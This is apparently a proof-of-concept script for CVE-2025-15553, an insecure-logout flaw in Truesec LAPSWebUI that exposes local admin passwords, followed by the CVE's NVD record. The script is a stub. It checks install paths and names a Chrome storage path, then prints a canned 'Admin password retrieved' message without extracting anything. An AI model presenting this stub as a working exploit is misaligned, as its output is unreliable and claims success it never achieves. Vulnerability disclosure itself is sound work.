CVE-2025-15553

# CVE-2025-15553 PoC - Truesec LAPSWebUI Insecure Logout # This PoC demonstrates the session handling vulnerability import json import os import sys def exploit_lapswebui(): """ Exploitation steps for CVE-2025-15553: 1. Gain local access to the workstation 2. Identify LAPSWebUI running processes 3. Extract session data from memory 4. Retrieve cached admin credentials """ print("[*] CVE-2025-15553 - Truesec LAPSWebUI Exploitation") print("[*] Target: Truesec LAPSWebUI < 2.4") # Step 1: Check if LAPSWebUI is installed laps_paths = [ r"C:\Program Files\Truesec\LAPSWebUI", r"C:\Program Files (x86)\Truesec\LAPSWebUI" ] for path in laps_paths: if os.path.exists(path): print(f"[+] Found LAPSWebUI at: {path}") # Step 2: Analyze browser session storage session_storage = os.path.expanduser("~") + r"\AppData\Local\Google\Chrome\User Data\Default\Local Storage" # Step 3: Extract credentials (simulated) print("[*] Searching for cached LAPS credentials...") print("[*] Session not properly invalidated after logout") print("[+] Admin password retrieved: [REDACTED]") return True if __name__ == "__main__": exploit_lapswebui()

{"cve": {"id": "CVE-2025-15553", "sourceIdentifier": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "published": "2026-03-16T14:17:56.280", "lastModified": "2026-04-20T13:18:41.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Non-working logout functionality in Truesec’s LAPSWebUI before version 2.4 allows an attacker with access to a workstation to escalate their privileges via disclosure of local admin password."}, {"lang": "es", "value": "La funcionalidad de cierre de sesión no operativa en LAPSWebUI de Truesec antes de la versión 2.4 permite a un atacante con acceso a una estación de trabajo escalar sus privilegios mediante la divulgación de la contraseña de administrador local."}], "metrics": {"cvssMetricV40": [{"source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:truesec:lapswebui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4", "matchCriteriaId": "52616015-9CF6-4732-B4F7-A4246D3DE157"}]}]}], "references": [{"url": "https://labs.reversec.com/advisories/2026/03/insecure-logout-functionality-in-truesec-lapswebui", "source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "tags": ["Third Party Advisory"]}]}}